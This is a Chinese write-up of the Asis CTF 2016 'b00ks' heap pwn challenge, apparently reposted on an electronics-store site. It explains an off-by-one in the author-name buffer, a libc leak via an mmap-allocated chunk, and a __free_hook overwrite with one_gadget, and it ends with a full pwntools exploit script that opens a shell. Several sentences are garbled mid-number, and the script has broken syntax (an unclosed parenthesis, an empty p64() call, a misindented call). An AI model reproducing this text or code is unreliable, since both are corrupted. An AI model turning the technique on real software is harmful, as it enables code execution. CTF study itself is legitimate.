资讯详情

Asis CTF 2016 b00ks

例题 Asis CTF 2016 b00ks

`

题目链接

1. 安全策略

[*] '/root/ctf/Other/pwn/heap/b00ks'     Arch:     amd64-64-little     RELRO:    Full RELRO     Stack:    No canary found     NX:       NX enabled     PIE:      PIE enabled 

开启了full RELRO,所以不能直接进行GOT表劫持PIE,静态分析地址不能直接使用。

2. 静态分析

程序的功能是对图书的添加、删除和修改。

1. Create a book 2. Delete a book 3. Edit a book 4. Print book detail 5. Change current author name 6. Exit 

一本书有三个对象chunk组成:name-chunk,description-chunk和detail-chunk。其中name-chunk和description-chunk大小和内容由用户决定;detail-chunk结构如下所示

| prev_size    | | size: 0x20   | | bookID     | | name-chunk ptr | | desc-chunk ptr | | desc size    | 

函数在程序中逐字节写入0x1009f5存在off-by-one假设要写的内存大小为0x用这个函数写0x21字节覆盖\x00。分析可以发现,写入author name、book name、book content引用此函数导致溢出。

Author name储存在0x302040在32字节的开始内存中,0x302060年开始存储的内存空间是现有的book的detail chunk指针。这里有两种使用方法

  • 在没有book先用字符填满author name然后增加一个新的空间book,此时打印book detail如果打印添加,则添加book detial chunk的指针。
  • 在已有book当时,填充32个字节author name,会将0x302060字节置为\x00,这使得我们能够控制第一个book的deteail chunk指针。

假设我们可以控制第一个book的detial chunk 指针指向伪造book detail chunk,那么当编辑book-1的内容将被写入伪造的地址,以实现任何地址

这个问题的巧妙之处在于分配第二个问题 book 时,使用一个很大的尺寸,使得堆以 mmap 扩展模式。我们知道有两种扩展方式。 brk 原来的堆会直接扩展,另一种是 mmap 会单独映射一块内存。

我们在这里申请一个超大块使用 mmap 扩展内存 mmap 分配的内存和 libc 之前有固定偏移,可以计算出来 libc 的基地址。

__free_hook

因为这个话题开启了full RELRO,因此不能使用GOT获得劫持的方式shell,这里采用__free_hook的方式

3. 动态分析

程序运行后,将建立一个size为0x1010的chunk,所以分配给每一个book的chunk会从0x1010位置开始。此时若利用author name的off-by-one漏洞将指针指向无法控制的0x1000位置。所以我们要让第一个book的detail chunk位于0x当我们使用超过1100个空间时,off-by-one零时最低位置,第一个book的detail chunk将指向0x1100. 在这里,我们创造这样一个book

create(0x60, b'a', 0x90, b'a') 

这样book-1的chunk如下所示

pwndbg> heap Allocated chunk | PREV_INUSE Addr: 0x5646ddac1000 Size: 0x1011  Allocated chunk | PREV_INUSE   => name chunk Addr: 0x5646ddac2010 Size: 0x71  Allocated chunk | PREV_INUSE  => desc chunk Addr: 0x5646ddac2080 Size: 0xa1  Allocated chunk | PREV_INUSE  => detail chunk Addr: 0x5646ddac2120 Size: 0x31 

此时如果在0x1100位置写入一个位置fake book,就可以向fake book的desc chunk ptr写任何内容。从而实现任何地址的写作。

下一步是获得libc通过在这里分配一个大的基址book使得glibc将该book的chunk将地址放入系统部分,通过计算相对偏移进一步获得libc的基址

获得libc基址后的操作比较常规,向__free_hook地址写入one_gadget获取shell

4. exp

```python from pwn import * #context.log_level = 'debug' CONN = process('./b00ks') #gdb.attach(CONN, 'b malloc') libc = ELF('/root/Tools/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc-2.23.so')  def choice(num):     CONN.sendlineafter(b'> ', str(num).encode())  def create(name_size, name, desc_size, desc):     choice(1)     CONN.sendlineafter(b'Enter book name size: ', str(name_size).encode())     CONN.sendlineafter(b'(Max 32 chars): ', name)     CONN.sendlineafter(b'description size: ', str(desc_size).encode())     CONN.sendlineafter(b'description: ', desc )  def edit(bookID, desc):     choice(3)     CONN.sendlineafter(b'want to edit: ', str(bookID).encode())     CONN.sendlineafter(b'description: ', desc)  def delete(bookID):     choice(2)     CONN.sendlineafter(b'want to delete: ', str(bookID).encode())  def changeName(name):     choice(5)     CONN.sendlineafter(b': ', name)  def printbook(bookID):     choice(4)     for i in range(bookID):         CONN.recvuntil(b'ID: ')         ID = int(CONN.recvline()[-1]         CONN.recvuntil(b': ')         name = CONN.recvline()[:-1]         CONN.recvuntil(b': ')         desc = CONN.recvline()[:-1]         CONN.recvuntil(b': ')         author = CONN.recvline()[:-1]      return ID, name, desc, author  def exp():     # step-1     # use off-by-one vulnebility leak book list ptr     CONN.sendlineafter(b'Enter author name: ', b'a' * 0x20)      create(0x60, b'a', 0x90, b'a')     # casue book2 has large chunks,     create(0x21000, b'a', 0x21000, b'a')      ID,name,desc,author = printbook(1)     book_ptr = u64(author[32:].ljust(0x8, b'\x00'))     log.success(f'book_ptr: {hex(book_ptr)}')      # step-2     payload = b'a' * 0x70     forged_book = p64() # fake book id
    forged_book += p64(book_ptr + 0x38) # [fake book name addr] = book2.name_addr
    forged_book += p64(book_ptr + 0x40) # [fake book desc addr] = book2.desc_addr
    forged_book += p64(0xffff) # fake book size
    payload += forged_book
    edit(1, payload)
    # use off-by-one make the fisrt book ptr point to forged book struct.
    changeName(b'a' * 0x20)

    # step-3
    # then when we print book 1, it actually print the addr of book2's name chunk
    # ptr and book2's desc chunk ptr.
    ID,name,desc,author = printbook(1)
    name_addr = u64(name.ljust(0x8, b'\x00'))
    desc_addr = u64(desc.ljust(0x8, b'\x00'))
    log.success(f'name_addr: {hex(name_addr)}')
    log.success(f'desc_addr: {hex(desc_addr)}')
    # mmap chunk has fixed offset to libc base addr
    # 0x5a5010 = desc_addr - libc_base(get from gdb)
    libc_base = desc_addr - 0x5a5010
    log.success(f'libc_base: {hex(libc_base)}')
    
    # step-4
    # casue FULL RELRO, cannot hijack GOT table,thus we use __free_hook
    free_hook = libc_base + libc.symbols['__free_hook']
    # got 0x45206 0x4525a 0xef9f4 0xf0897 by one_gadget
    one_gadget = libc_base + 0x4525a
    log.success(f'free_hook: {hex(free_hook)}')
    log.success(f'one_gadget: {hex(one_gadget)}')
    # when we edit book1, we actually change book2's desc chunk ptr 
    edit(1, p64(free_hook))
    # write one_gadget to free_hook
    edit(2, p64(one_gadget))
    delete(2)
    CONN.interactive()

if __name__ == "__main__":
exp()
```

标签: b00正反转速传感器

锐单商城拥有海量元器件数据手册IC替代型号,打造 电子元器件IC百科大全!

锐单商城 - 一站式电子元器件采购平台